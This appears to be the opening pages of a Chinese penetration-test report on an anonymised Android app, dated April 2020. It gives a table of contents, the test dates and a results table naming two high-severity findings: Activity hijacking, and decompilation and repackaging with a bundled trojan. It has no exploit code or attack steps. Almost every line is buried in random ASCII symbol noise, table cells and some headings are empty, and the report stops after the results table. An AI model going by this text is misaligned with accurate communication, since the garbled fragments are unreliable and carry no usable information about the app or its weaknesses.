5 u B8 s5 v- g o5 H& x0 Z
8 w$ o. s, i/ @/ o: c% ~6 N( x0 b
; [) C2 s- j; s1 W- |- f" n& F- E
3 Z3 n" B" V0 F C/ d7 a. b
% m8 E, ^' T" U( s) q8 B% c6 [% k4 q. r6 u% H3 E
; U# D3 b4 B1 L* L* p' U( i2 B7 o) g1 l& h, B5 @) Y% i* e
; h+ k( b* f4 [+ D& e0 A( y/ _0 s+ d1 F
3 ^$ U7 k) m% j& s+ f
/ Y: o* _$ `# ^2 H, F% Z1 W 文档编号:
+ |& |$ k v" j9 q
$ h! w( X! b1 I: X( m+ F% x
5 }! ^0 V) G" X0 a8 X
) e% D7 L- p7 d* u
2 x `( Z6 Q. h. e) v8 Q0 X* a; o; I* K, }; B8 M( P, n' ~ p
' F. m; R+ ~0 @1 ]0 t; a) g2 l
# d% f0 G. G: y/ \: B
; b" A- @2 R3 c$ ]' }; y
2 a: ~$ }, v' j
, R$ F" S7 h9 I5 j5 j! s+ K: t& l1 ^2 f
) ]* Q: _2 v4 q) \% H4 z! ?+ l
1 z$ l3 b& {2 a+ r
5 m E6 m9 O; Q' c) {9 `& e/ j( D& n; ~' C6 `% s# X
( s$ [# u9 \: F& D
$ D9 |/ I: C6 ^# E! Q7 [
+ e2 {$ g! P/ B$ N3 ^3 m5 M( S w
% {5 c4 \* { s
: \5 H: R& _9 n z" O2 W6 e# z3 O4 m! N) k( }
; J$ J* \+ r! m/ g: X$ w5 A1 j( {; k0 _9 m& B3 }
) n \0 Y, C s% P7 j0 M# W
8 U! J T/ P4 a# e% n1 I# g! G
- u, h& l$ X4 A
% C S$ _# r! W6 g1 I- k
" Z" O4 @+ n" w) `
# \/ P1 A: }# F5 m
- Y! C! t" ]$ ]% g- ?5 u
^4 p5 V# u6 l& ?2 l; _
4 d) P1 M( [# s- W+ Y
6 ~. t3 S9 s* q( U6 X
) d( q a: @, x* Q4 X7 |- C" U9 _. h3 O# K8 X
某某某APP渗透测试 4 v) f& `+ D' i6 I
N/ {( s$ l+ z# Z' c: b, l
Z# ]$ K/ C! Q9 b( ]2 f* G- T8 V4 z: b! [7 Y
4 p( ~# R' Z8 d
; q: Q8 y) J$ A% Z2 \! c4 y / K; w; [5 L: K5 ?+ ? ]" {
' ^8 E/ L: x$ r- o& e4 U
# J: e- ~" c- E' O; y$ P5 K
8 v9 E( ^6 ^$ ]- O# X( B1 o
2 l- I' |( e. d* x
0 H$ T. z. f( J+ w% ` d' M
8 g3 O9 i% J- j# a$ \9 [5 ], A3 t$ n- y; h7 x$ E: t
3 z" k0 K3 D0 U# f6 n* y
9 C1 d5 z' d( B' Q+ H . K1 Z" e. w, t6 }
0 o+ T. K$ c9 _6 R. z
$ G. G7 G1 ]' U$ P9 q7 `, X
8 W8 C7 o$ W+ N
! L. z. U' X) C- m0 f/ U0 |4 @0 N. Z+ j' G
+ t" i$ M6 z# G1 S" v5 A! }
' L7 x5 o# O" m, v
s1 m7 d; j; e, l, r! J; _
# [- f* \! {6 n( H+ }
' k! u) T' o! {1 j, d: Z. U0 S0 G6 x2 f
. w {# O7 t+ A
/ |3 r+ `" |9 S' N
技 术 报 告 - P9 @& E; D9 [4 E* p! B, Y, {
& R9 j" [ l3 g9 p1 C) A
$ {4 d2 L+ H1 P3 T0 l3 `! T
, J* K; s6 h) J: F
6 q9 @: [) B9 K( Z! F% i4 ~3 p
. p) O8 s e. @. P 7 {& Q3 S1 P! f8 D
" R4 N9 j' m4 W# ~1 Q. c
* \6 u8 _3 ?0 g3 `4 f0 P0 D
0 i( ^# C2 H# h1 u
' H3 `& H7 b) M3 w9 k* a
! x& m/ _3 R n' f2 \6 f+ a5 O
5 C( s8 o6 K6 w! Y* D0 L1 k. p/ p" R B! L+ \ Q6 H& \9 U5 @
: E. R, @4 u+ Y/ J! c- `
' c. c' t0 Z: i- V 0 a0 p( q( P b, T- h) O+ n% g
6 N, }0 R. `0 u. b- a
0 Q2 R2 _0 C: A* R' _
1 o) ]" U+ m8 t4 A3 l5 x
* J M" j: W. c* m: t' J
# U# r/ {" f5 Y* l! E+ B* J
, I1 G1 q0 H- E" S; x$ R7 w
3 h- P1 f' F: L( U' m5 n( P
1 b6 [' h8 ?* e; l! i# ~$ `
' w* K5 c# I5 f0 x
3 t7 p3 q7 v m6 V. ~$ ]% \9 n
* x+ K+ }' l9 y- h2 `: _+ F : x& Q- o3 W& E- J1 @' _
3 l0 l1 N( T, ^0 k9 X' N# h
' d0 N& n0 o0 @" X- K- r
6 [8 |# y: F# X9 S2 q+ P
/ u5 B) G8 x! b& n! ~, Y5 O5 l
* z9 g0 y# J+ b % G/ N9 _: R g% v9 A4 o3 X. \
+ v" R( t9 N% W. v
" @1 a2 L1 T' L( [# Z
" G0 ], Y7 a' U* x$ V
9 y. k3 L( i: O! i a. W* A* I
$ W* g0 M! F& x8 e3 r9 `- t
. [% Q; j0 s+ j5 {- i
" b' J' J3 @; ^$ w 2 @) _; l! h* z
; N, M$ l# l' O: g1 a$ L
* V& {3 m, ~6 k7 O, t
S3 E1 j; i3 j6 u$ X) I9 [ & d) H. `# G2 l; H" ^, o
0 a+ _5 t% k$ Y" _, u3 C0 c8 [" I
" n6 P- m8 R' c$ c! M. N M: t, I0 f: @: d W9 k) B2 b3 Z8 K: |4 M }$ Z2 H
. Y! S! R& {) @) r9 I9 e
4 l7 W7 P2 `1 [+ v4 }8 H
5 r- D% U$ M, ?
+ [ x+ r- ?$ \% ]) `
& x4 g: y$ x4 O7 x, R1 u. |0 q
: t B# s- T% ~9 U! h; i u
~8 I# g+ F; ]) h6 e0 P
/ q7 D( \4 p- g& V
. J. [* K+ C! R5 T7 a( o! b- q% C2 [, X$ o! q
( W- w, E' U& [1 \
8 g: _4 V$ k( k
; q2 C3 M0 v4 w3 p$ b# H' A" @, ~1 t( z* e& {$ ^7 V# r" p
$ M" d7 k7 ]. d/ i! |$ p2 j
S/ B+ \5 y' x, Q& A
4 J- C+ j7 p, z" ^4 {" `5 F7 c0 X: _8 G- \
+ G/ ^% D' C$ A9 H2 q/ q# ^1 {
9 i8 G$ s. `+ C+ _ K3 f9 t5 q7 Q
. s- z) r9 W" i6 L4 S1 @; C
. Z8 G, U# K" t% q
8 h' y- U) U- C! {$ X# ?# _
* d, w. }- j4 k5 v
3 A# b3 E" ]' i. o- `
7 m: y7 `6 d8 @% p7 u/ q) e
4 Z w( I9 E; \, p# h9 b
' x) }0 R2 ~" E5 v* B
4 U. { {& Y8 F% J$ U) V" @
9 y7 |. f9 S0 J& C Q; _ z
* ?2 @& x- i( S: q1 X) J; F8 x: b& i- ~# B+ D( t% o( S
, P9 o+ p: L8 n3 J W |
; y5 I7 ^* L$ b4 c2 B9 H" t
; R3 N+ |! B2 b7 C2 k+ \4 \" ^- n: W c, v' t, R5 j$ x5 ]
: z, @% g/ B# e. v
) T+ F0 T" n6 Y% ?4 Y8 j " ?9 Q: V2 b4 Q
: |6 l: P' S* n" P9 \, o
1 t; ~, m+ x1 ]3 R" S! Q- @3 U+ l% d H4 @. K
' N4 O A6 A, O" W6 w" O2 [& Y) z
) E8 W% o6 U; S7 [1 y2 T7 f
! q! \" d; T3 v$ r# e6 [: E
0 c: V- i* Z, S: Z0 K/ b4 w- q
7 w) v; x1 _! E; B& u4 q9 n- T4 B+ Q* J6 J6 [) ~! b
4 L& k# j' [# Q
2 N- C3 \" Q& P % V- P& P# n" k; ^+ Z! S, }/ Y
" s; V2 L' e0 e' l0 f5 l3 e
9 C" H' I" y5 I
3 R6 B( q3 h }9 P
# q$ I4 D2 |9 ^: d5 d8 q
+ Q9 {% g3 Z* G( i8 a' {" j 5 M6 n# Z3 V& Z
7 o6 p& {" ^! w+ o
' Z- `$ R/ V: k
& V7 a& k- B7 x6 d- l
6 s1 p8 {% l, k4 e; H* _! `6 ]
* u9 F6 a! ]% s0 i; L* ^6 A2 t
$ i* S, y- z+ K+ U+ l; _7 e+ G: E, K% o' c5 G# y
二〇二〇年
1 Y" l- y$ V+ W" `3 c1 x5 T2 t. P: ~; w m& C
1 w% `# {) d( \! e5 g' E& q0 b1 y6 r( _
; L4 W' a9 Q0 [2 M0 I+ l) d# R: {
/ ~ ?7 V: p; `7 u1 R" l
: X; l- B5 \$ Q$ J
; f" @+ X3 L: J3 r( T9 @* g
1 `0 B7 L3 z2 }2 F0 l3 U( a) y# O# q' t) @+ h: f, G
$ }' M6 A% ]. \6 S i+ {6 ?
) ^0 N: n+ y" {9 F: E
7 s( ?/ b P& U I! s7 B% N% S( V% V; [
7 N7 ^* s8 q# Q; G/ R
4 V( O. f7 E, j9 n# C8 W& D
4 ~* Y8 f- C; O5 i0 k
" z) \- ~9 i5 R/ F" r 5 b1 x! K: z+ Q% P2 H
# f& Y% [7 _% X6 N8 Q" s7 w' }2 h ( ~0 W3 H* A: B4 n( N9 d$ N
. I( C' E+ M8 C, X+ z 目 录 $ p, L; ?, z( `' n
5 s3 u V: x8 ~/ g- [) `1 Y( @8 {- h
' ?' X$ U6 S1 e- S0 j0 z2 b" C, B9 {
9 X5 W. Q7 f0 K( k % C. T( i( N5 n" v: V: {8 }# h
9 f4 ~+ Y6 x! O+ n+ z
$ Q; V6 P( l6 r5 I& m+ p% \3 w8 T- x3 r
3 O: X* ^: p% j! s; P- L& ^6 o
0 w$ l( Y+ h' Q+ q0 e0 v2 N
$ p* q) n7 l, ^$ z ! i. D6 C% F' O8 j) N! V6 C
( P8 F( o/ Q- ]; I
1 概述... 3 ( p. t1 n z. z; Z
7 r1 U) @" c4 e! ^. s
8 @* b5 p1 F/ n
0 g4 d7 I" r! B# e: w) Z) j
8 E0 R! T0 o7 W1 u6 M7 k' j& D& o& H3 ~1 C. E. i" K, I0 k5 Y
1.2测试时间... 3 9 I; Z. ~) J& b7 l
2 d( \# _ B# m& S1 Q
5 _9 H: X1 P L, H& ]7 ^1 e
; L5 s2 k' d M. P
. U0 o. E+ s5 ~+ {! t/ b
- w7 n) s" g2 o( l 1.3测试对象... 3
+ h' G3 H1 f& {/ n; e* J
+ p( Y3 ]; y9 H* I( ^1 i& w
5 k0 V- }1 B, C2 D {3 ?3 z, w8 T0 P/ s
3 ^# G/ R# c) T0 L$ I: i, P
d+ g* h& u) P9 \ G$ s 1.4测试结果... 3
+ Y, F# S6 D+ O5 H; A) I
z) [7 f& _& l- S: }
* V7 ?- G' Y. @( ]. Q4 j
# S$ Z! d1 R5 R% a 3 p0 T( Y+ |$ h- f$ _
8 V1 J; q/ b/ }. V0 `
2 检测结果... 4
. ^# s7 g* T: Z3 x' {
3 p3 ~# f( m# ^* K7 j
, [' I I) q0 V
( Y0 ~/ n$ C1 R- P* z
" r" A* \2 ]6 O9 \2 S: y/ C% m- w) K+ g0 k8 Q# k
2.1 某某某... 4
, \. x9 I3 w x* w, h
& x2 P- ~: H% C; }( e
+ l: o- [) O+ f+ {3 [3 e& X# ?( g) E
1 C+ t/ _; J2 c, r* H( Y5 Y/ k3 v' _
. }5 A8 v, M! | \8 I9 { 2.1.1检测目标... 4
& o; g7 W* L1 Y1 K, Y; t5 S3 g. w) Y
3 r( v- t, ~' [- A7 n% ^) l
' D1 I# w$ U" V% t3 ]
0 O% O. f/ E7 F, H/ b7 B6 q) l. N" R7 u! S
2.1.2检测结果... 4 p- [. `4 g7 G: O) F. r# F
6 G* ^5 t+ G' J; b6 u" c0 a
p" A( B+ v+ {1 ~
6 l5 g6 d6 y' X5 I4 ^ P
3 O# ~5 u+ g. q8 B
1 @3 ]; d& x& Y0 I+ X# _7 E" z
2.1.2.1. 4
" o1 {1 J' M6 ~& ]5 R+ @+ T! N
, z7 E% J2 v( W) l* s
7 R A1 l" }" `7 y& S9 x G: d* O% M1 W$ p
' }6 m6 t2 H! j g
8 @: l: G/ X1 }4 V; S! x6 L5 J% m
2.1.2.2. 6
- l+ ^; v, O \# _
W' a: T1 y) L1 i" D
, G3 {7 X( `; _! g3 }
2 r8 I# `3 `" L
2 s7 g- Z. U( r v
j/ B! |+ o) v) u' a+ _ , L, s# @! g% x( N
3 h: Y5 A! e# U2 V
$ h+ f4 n2 G( d! L) D
- g0 I: D" B" X# N4 v" Q5 I9 t e% H6 ?, v
. |5 m$ o0 [" R. H1 C8 U* L
8 u5 p* y# n+ c
4 u [9 y" i9 t6 G, K; R4 I- J
2 x# z1 F8 c+ l8 c1 R6 l4 q8 J: Y$ y! m
8 Q; B2 \- j, T. ]7 }! F
5 G/ T! C0 c( g4 `
0 d3 ?% n' J1 j 3 ~) z+ ~4 C& |- {7 W7 R- @
+ c7 O6 ~$ C8 ?" E" Z7 K* P 1 概述
; u+ \8 v/ {6 Q! ?# V: o- c, W( D8 O" q0 l( r' C2 m+ g1 P" E O& {& G
) ^; Y, q$ Y7 M0 p9 s8 ~
$ v% K' A6 U2 v6 l5 A- I& E9 i ) }9 N0 N0 o E0 p6 v3 b, B
6 R4 s; T% p: s8 B6 W9 j 1.2测试时间 $ O1 e3 Z& k1 |& U2 w9 K
# O4 p& G' t! @( p7 m" T
% x/ O" j. C3 d, y
) Q8 X& [. q! J3 `
; }! A3 F$ i. R5 ]6 J8 I U
* B( q" D% ^' V3 \+ v 0 A. C0 b5 J; j6 S! H
' d: ~1 `/ k+ s6 A* K
7 D5 K9 ]- C ^% q' h* Z
6 {+ u+ f. ^/ s& M" s2 X9 Q' E |
1 D f4 P' Q- v* u! V1 m- U4 S8 y. }0 d* L3 W; z
& A G' T" v3 Y# v# l @
9 T' Y- z8 D1 ^
渗透测试时间 , W' h/ \/ c! ~, u* x5 f1 Y
) ]5 a9 W; i |9 |* s
6 n2 D. V* E; ?. Q; I( X7 n* E% ?4 l( ?( p# Q$ }
| ; b& L4 t; w3 b7 O+ q3 o
4 I( p) t, q2 Y8 q& r
! G% L9 q' Z$ Y$ w, ~0 u& v6 P9 s" Z. b3 E$ K
0 ^" W( G& s! }( \/ [. g8 `
$ x: C- m9 i; ~+ v3 N. D7 q) g |
6 F2 i& c# F g/ r# o/ c- v) Z; ^" k; x5 a' }- k
4 Q* b) J9 u1 d# z$ C$ Y% @+ i: ^8 i
& i% h" {* g3 u2 E9 r% z1 k 起始时间 ! \' ~6 {- E# c* d
/ W' Z, }6 E) f9 G
0 ~* K- I% T$ G. K- j7 K" P# G# [/ Q& I' L9 p/ h/ d0 \
|
% n' ?( ?7 p7 p# |/ ]" Y
4 W, G; v4 a" T9 f 9 }! o: Q7 G' j
+ H7 L* l, c- S* x0 p! H
" S7 P' P; b+ L4 ?/ N V: Q+ t
: o; Q: R, M4 n( p' u% n& a0 n 2020年4月6日 8 @, |0 U- J7 M( g
' q d2 Q8 V0 O; E
* Q5 A3 W# b; I" v3 a8 p( ?6 T
, g& Z8 B9 P8 G$ z+ V, I
|
$ J7 [5 G2 R$ {2 H* q2 n0 f' \( } C( w9 V/ S2 X5 a) t Q2 v0 U G# S
) S4 ]% W: \' E. W9 _
& n) q- l) q6 A! I ' g) X: Y' F4 B- O9 C
7 ~8 w; N# e8 S/ G/ q1 t0 V
| " t6 M5 Y! p8 K p' t' E
, T: w" _- z# U. }! C . T2 A5 k7 ?) U. ^
4 Q8 @7 t; E: q9 J 结束时间 . n$ w- D9 I/ N% [1 x+ ^5 Y
5 h+ S* V- S9 m4 Q
2 C) u5 \" u8 I" m w* C- V8 k' U+ ~7 J _0 b! _, R
|
1 L/ X& n1 F9 J6 w) C: _; a& m+ x: f2 T: W+ U+ P
6 H( V( u8 H) f7 L# M- s4 x% O( P3 P7 F
) |0 D% J9 Y8 g& B J3 I/ V) X0 C3 G. j. j; c7 }! ~
2020年4月9日 7 n ^ s7 S" U+ a9 l
$ m& [5 t% K. o5 U
/ {& G1 H7 X0 k$ T' S) `* j
! f* c8 {9 e( v9 T ~ |
! g' F# ?1 r/ p/ v$ w
9 t- m @# _( M
' k+ L$ W, E8 l( g* X, r6 l
$ b; K- K3 E5 m6 H
& d9 h- G2 F2 C" V! j3 t# X9 L8 r, \* \
3 H+ z4 C: x& G9 P
+ Y: P% h/ H8 B- v" k N7 D2 M N9 @" B. J3 F5 i
: F( B3 t4 z: Z1 u: Q1 z! v5 a) l
1.3测试对象 ; |8 T$ A' ^+ d9 s0 s
& o8 X$ l, P. L7 Z
0 f% P/ z) X% U& G1 T. D Z7 _- x m* i% ?5 G5 X5 ^5 x! y
) ^) |( H2 ]$ e7 F, @2 |0 F& Z" Z
: i$ A; O8 q3 Y: C$ p- G& l$ g
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: v/ p, l- w4 E* f- T
2 y% S% O, d! \& K# d
& |$ M6 d& W U# x5 ]: {/ C9 [
k7 S+ v7 A5 W5 } 5 a U9 Z l4 I: P. e, n: u) D6 {- Q
% e3 x( j; `. B: X# k
表1-1 检测对象
9 ^7 O4 L! R5 f1 h; i0 T* q$ E) Y y' H$ d$ M
. b. {3 Q3 N0 ~0 x j, r
8 n2 P6 J: O% g0 M+ m8 F
( B4 j9 b0 n. V7 D# B
+ {8 t) k1 |$ G) f
/ o( s' v8 g' k6 X6 ?9 }& a- t. n1 y5 M3 k
5 C' m! _) J! V
+ ?8 \. m4 X( c. h
| . ~, G; d1 C- ]1 }+ I
1 C! c; {7 _. O2 u3 _4 e- ~1 \* E
: o4 U: s. k6 _ \& T: ^
4 d8 o) i, { h% \% C" i 序号
% b' i/ x5 Y) w) V" Z: R
+ Q. E; M$ i9 e% J
7 ~% d/ ?& x; I- I1 l
/ r3 Z* {0 b1 `) B& {! d | 4 n/ u. z5 ]8 i, c4 F/ t
% `- ^+ I0 F" ]/ \2 ~! n ; P# j" ~" s0 a a
- j( d' J0 } ]6 ~5 u) ?4 v0 `
6 d- h# _ f, \- C W/ w I% M# r! I K5 u" S
测试对象 : D' j) d5 _3 x5 k
- w3 ~' A2 W3 g) s% k& R
, L) D; l) v; V
* P. E2 u5 F8 K- a8 t0 f# k! j2 e | * R# z8 E9 e8 E
. e: @2 ^" _! i( q( A- E$ M6 B1 w5 e' X
) ^2 X3 n, g, b; Z2 Q, c
6 b, X: g( x ]" d
; W! A* b$ v1 W# U" q4 P9 {6 e% X& m7 y$ G
测试地址 + R1 Y( o+ H; r f4 L, R
, e' K" [8 q; {1 ^& ^$ W
; w! R `. e" P) G' Z* p# T- g, b% s6 k, m' w" D" g! z$ D
|
& w/ A( X- G/ ]# ?& f
. y+ J5 m1 w" ^% D 5 Z. B/ d, R3 ~" _+ C$ h
. \4 H, w& m" i , P5 B8 Q3 x! B' H$ m9 Q) z5 |0 o! |
4 }) N; a. b, L! c8 c# ]& E
安全漏洞 ! B: d% \/ d; ~2 l
0 a: B/ F i1 Z" S+ B$ H
. F6 G3 d1 U( [% h. _5 S T
7 ~ O2 T& e$ @3 s; y& B$ U
| / _/ |! n7 P y- F
' D9 q$ K( [2 G) O% M, F
3 V% L8 r# B4 t
! r0 G) W. P) }. B; C 9 w4 ~# _3 [+ F
% K8 V! e1 I4 I& ^ |
# |+ O, N' P( r% L0 F6 b
; ]3 p o$ T5 @5 K j5 p* ^
2 h) o- K0 \6 I. {6 u0 s9 s, s: W$ B7 |- c, O
1 b1 l9 P" j x) P( x
& e4 ^+ l7 p' |- G+ N3 W
5 N& J/ V0 }" p0 L' |
( V/ X, Y* f( C! ?; G |
; v1 Y% A1 ~2 U, @0 r
/ S) E- o# r& c: R0 ?, z 5 D* C" Y; X6 ~2 q2 y& u0 Z5 }' z
5 n% `" Y3 G( K1 f% X
$ _8 N/ z' N' L3 x+ Z: B& ^6 A# G# s- P
某某某安卓APP
9 y/ O E) ~) k7 H G i$ ?! D6 H; ~& |3 z% d& A
+ j' Y/ {1 B" _; b5 i5 z
- _$ z8 k1 O( n' W
|
# D, y( e1 C! b, {3 i+ o6 |
3 h& t) A( p5 c5 ] " ^4 h) J- M9 U9 B, A0 X: _; w
9 h; r7 t, B+ b: \, r( e
% V* ]( }6 _- _! |( f/ u* C i* l- J. F' J% {" h5 b4 V) `
5 s( p( Y9 s# [8 t$ U9 ?: o6 N) F
/ v- t9 }% S+ N3 \ V$ S( G5 E ; T) H& M, A4 M$ m6 @
2 X1 @. g% T# ^
|
& x" m( e- Y6 l1 Y, N
8 ^5 D$ s E# b6 b$ x! R
+ Q9 }& j2 j# S% K8 i) c A- F- T& _$ W9 T
& T6 r3 J+ |7 V, q6 Q
7 W0 h- R5 ]) D5 W; w
2
# G# j. _- G7 t* Z: @2 X
& ^. w# G+ E/ Z2 L" B; P
3 F( V: o5 X7 n0 ?# ^" f$ J! I3 g9 [ c/ s- t7 j+ U) `$ ]* H: ]
|
4 v% a; J- ~) s' m" B9 {& ^' K. L. b! i- t0 c' ~
0 G4 N8 k7 M+ n7 L
1 h0 o/ X" V5 s2 I5 s4 B$ Y
; [8 I5 G ?, M) P; m6 M: ~1 l6 c, K6 r# S
( U5 F) S& `: V9 w5 Z# V
, l) _& y# D8 J! _+ V+ o3 y
m; E5 j+ A- t9 _ A0 A# t3 f; G" }
1.4测试结果 8 ^5 V' q1 U% B! ]; X4 b- g5 l' m& @
+ k' X8 T% y+ k- {
. I4 v, j e4 j2 w& b2 D: ^$ a7 ~) j" _: B
( N- O' Q# B3 h' W5 |
/ [/ X7 {" ~% b) }" \ 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: 6 G$ c) d0 Q! Y* B- r$ I {( ]
! G J% V8 [% P9 S
- L1 V Q% @4 J
z" [& M$ |8 N1 i$ k+ x; i2 i
/ c& c# F4 q* a/ Z# x
" }( R+ E7 e! e! o
! O1 c! X# Z F) c% F' e* U+ [$ Z, r2 ?% p. C: v$ o; ]1 D! N+ i
) e2 X" C4 z, D( t6 E
1 o$ U- w; H9 K6 {6 P& L * v7 x( t& V5 g* K) z2 ?9 x- `% R
7 {$ v+ _2 T f6 f + P8 W0 ^4 Z& z+ B% C3 E
- V2 i* V3 J% N' n: D1 Y
9 S, ^1 [* u3 }
2 u+ [( X: n2 B) ^ $ `$ j" U% z, C
9 w6 [* H, R. a
|
' B) W7 `* v3 j, B
) F- ~3 f$ M) ]/ z! A8 a 2 Y+ z( P' C0 z& k( V5 Q1 u3 V* N
) R' T, i) P5 }$ G
序号 4 \: D" l$ L. C! k z
( x, M. y1 K) @5 ]/ y4 M5 |
4 z: W" v7 B/ d5 q" S0 N
; P/ G- c9 \, _ M- x+ \ | , f! z! ]8 t: w% G$ ^) }
$ K' m1 C& d6 i4 _% ~3 { : e4 E; Z! a, m0 H0 n( p) S5 n6 P
/ T4 u4 x+ b' C' N7 w% f
+ B9 u# K' l9 X# m/ ?
7 k A, q* q8 u* z 系统名称
6 ^/ p/ |/ T7 h& w
2 n$ e X! p$ v* k2 n3 U ) v2 I1 e$ y4 s$ _
( N. I5 K! z4 o1 p
| 5 b& x! ^; F+ n- U
! r! n( w) A+ [
' L! x. O. f0 S3 o# q# Z2 o& g
2 U1 Y4 g# ^% N2 j* e+ y5 e. V8 d7 X
- r# o5 Y% L) r; U a0 _! v
* s: h; H. k1 q" K, Z: h1 V4 C% Y, F 漏洞名称
: c- ?! K. M. y% Q7 y3 f( ]* _! Z* l$ ?: \# y
4 J$ ^0 X7 l0 S2 _" c; `$ W2 ^, n @$ H3 t- B% U- |: E/ G
|
8 t' ~3 S8 E7 K9 t6 [, K- Q- M I6 r& N$ N4 u' O! i8 h
* d3 \) J+ f/ }
+ X' r" S+ l" z' Q3 y% ]$ C) W3 `
9 W7 l! Y8 @% B# V5 p5 @, Y2 E9 h: x. \
漏洞危害
3 a+ R& }, e7 r+ w# |; v* q
/ u k8 O- t$ T# R( y - z: V6 N" @: }+ Y
' |3 I9 D: L+ i r( \2 p4 X( h |
# v1 E U l9 X" r
, R5 ?! m1 V- i# N% k1 f, q ! x$ @ C3 I9 h
# b* Y6 z: w1 E( Q) t) ^2 `! X( B3 C
; e( b1 I+ h4 {& h% U
$ q/ f7 I1 \3 K/ q 修复结果
' D+ _% I! V& s% m3 T! l) h6 n! n5 U" M
/ _# a# a3 p& J+ @4 e& I# i9 P. s6 S J0 J* N% e
|
/ u8 O( O4 B/ \; f1 d
" m" [5 a0 |* z5 C
. k4 b3 `* O( K" c) X
! g9 t, U m$ L& s% F7 u- q
. E6 `3 y, i$ c7 [2 s; |" t/ \" D& r6 b$ O
|
' A0 k" c! E X1 p. a I
2 [6 J6 m2 a2 e2 N3 \2 L# t+ k" S# n
% g0 X1 I) l7 }/ L s7 {5 E( D Z
1 ; x" u/ O9 ?" z& K% T' n6 Y1 }
, ~: t& ~: r6 N; } / H) E/ \% k( _! J7 F
. ]+ Y$ ?* h+ L, J' h# `
| 8 C2 E* P; _, ?
9 E- \/ N/ m; x# K' ~ P; n, m. C/ T, {9 C
5 ]6 y( ?2 O/ X" y
. `; Z3 X1 i& f" C+ g) [) ?% P2 s" x1 s. S6 K$ N# C
某某某某某某APP - r4 ~' W. I6 A/ x+ y+ ~# n0 O! _' o
5 ~" F; h; ?! b5 N
/ V! ~; X# u% }( s: D
$ U1 ]9 T# F8 r0 z9 x2 L
|
, t, q+ C" D6 \7 N+ t% B- j v; c" a! T
: T0 Q4 |, g- M
- K9 Z& B2 k/ B( d. D3 X7 [ 0 e/ o6 [) ]. b4 Q* y B
6 Q) o' f! J m) {
Activity 劫持 + x1 z$ Q. ]. o! i9 ~8 q+ E
6 @7 z j4 B& x, F, f4 ^3 n: @ ( a* n& k! n/ _ U+ b/ b" Y
1 k; q4 r: w$ q7 P4 g) d3 s' v- [
9 ^2 \: }6 e8 c; Y& K* y5 p
/ q3 a( A/ E3 K. r% @ ! A3 r# ?* x8 W7 n/ M1 `8 {2 q8 N& m
" D) h8 ^4 {: D4 t0 a
/ S; @% D; v5 M D i
' }* y4 g+ W2 @$ G
| / |* X. v1 a6 b3 C6 Z
7 h6 o: I. }+ v& R6 Y9 P # ~- T7 f/ }& c2 h4 t3 K
( J! y6 }+ [# W 8 d% @ u! u3 ]4 {* f
% e4 }5 ]* @0 `1 ?# q! I; h8 B! _
高 1 I2 c: e# q! g9 l$ q, |
! T# c# z8 M, |. @% l
' }! K$ _1 T# k$ X
6 K# T& U) b- O3 X) P7 F6 e8 l |
0 U1 E8 Q4 {- o( ^
! l# X F) h; g, E1 E+ Q) ?
% S8 w! X1 R% c8 W4 F
6 f# Q n/ q3 c# E3 u ! X5 P- g1 v* Q# p# B, y& y* f! i
8 m0 R. C1 |3 c. D& ~
# _ H# r6 L q2 Q# R3 ]+ U9 h# e7 q, r! `4 H3 w
: v: o$ ]; z5 w
8 X: {9 m( ` D& ]3 w5 g; U
|
& n$ L3 \/ G# ?& x6 P0 @ R4 N
) `' Q2 E0 I7 k7 ]4 s
+ p( E' b$ _" n0 |" X* @
# b X; I/ V2 h9 F" R( M6 Q4 F/ P
Y$ z+ f( |# ]) A8 p+ i; |1 M3 k6 f+ W
| . h. e$ F1 b y5 b% w/ _
1 ^6 U8 |* R3 M. @. `' g
7 ^& K L5 n' H5 [8 M+ f; @
' p/ `% l2 I5 T* u) L% }* T 2
1 W, s' w' ]7 J( X! z* I
$ c( I* d; C5 I/ Y: g, k, H ' ^! E9 e* |3 J( ~7 U
8 \/ b; d# I1 {% ]& B4 P | 5 O2 q+ {- b) s" t; D6 o& ^( l
( Z+ w3 l) `: ]/ z `$ t5 N ( p" T9 l7 j' V$ t" O; [% I3 v
7 L) z8 m1 a4 `3 ` S6 v; R6 @( O3 C# l* z
( k' }! g6 Z+ t3 z8 V
某某某某某某APP
5 I* G& N% t% W
" D5 u3 k( A% e& e2 m, Q # i) g/ r* ?3 ]. q6 O/ Z, C" B
9 @; `/ U3 h$ E- y0 G9 V" k | ( S3 f& @- Q9 P! D$ Q/ s; C4 f
& D( B( ` L* f
- c) Z- W# y/ Q9 ^1 \/ U/ @7 V7 K6 c G; `
- n5 Q% ~+ `: u: Z6 V" z3 s* `
4 X t' ]! c: q; f M$ ~ 反编译二次打包捆绑木马、篡改APP代码 ! ?3 Q, s. L) @& _# {7 E: O
9 l3 x2 V: {2 \+ S4 g% Q2 u6 n8 s
9 ^& x% F% i5 s" R: y
% o' U9 H+ V4 o1 p
| $ [0 h" f0 C0 y. {. y( @! I
( Q4 `7 o. K: D c2 u- @% ]) m
4 v; ]" [- A' z8 @& ]6 k
, l1 }& v9 N: x' v& @3 {+ A " X4 q3 f! V! j# o$ y, S, A/ e4 B
* S$ Y# S( q; h w3 ]
高 * ?" m& v3 E; c4 O: R
! ?' t; A" i3 ]8 Z
/ R. [1 e/ [8 I9 M
1 m* Y% K( S- \+ Y5 v& T) R
| % _- V. |/ t5 Y# a0 t# v- A
- g1 X; m# l6 M5 u9 }2 f
, K `! j1 n+ L# V! L7 s5 ~* E( O
9 |: F) }0 j4 L8 I$ ?. c $ g5 S. y4 M% H' L9 _; j
1 O4 Q" q# Z; a6 H( g1 i
8 S4 n! K. G1 [' i+ G
. ]+ v: y' X& N p6 _* t $ J/ k' \% M/ ~* ^
4 p A, A& [, @% q5 J. U; v3 k7 Y
|
/ Y% `! N0 q' q
" g7 P- o8 A, l
; _) r0 z) n5 o8 O6 Q4 _- Z6 g
* j. i5 V7 e, H2 Q7 n( X
7 `7 O: D+ H, u* y T% K1 E+ T! m$ {7 g
) o, ^+ ?' g7 \8 |. B
% q5 x/ ^! C( m( |7 A; Y# m ; J# [& U& s/ m, R. H# a
* d3 f" ?, u: e: v2 X) A
( s% T3 P( G. H, O
" r x8 y( r! _( u; }; J; D- H
; F, d1 U: i- Q7 t1 r
1 k) M* l$ {3 X8 |1 w, x
; J8 I! t+ k, R0 d( o
9 f# q A: S4 l" r( O 2 J8 ^% |$ g }! q
& _4 w, c& n9 D0 i* S- V% p
表1-2 测试结果
/ W, y; O+ C/ c! x
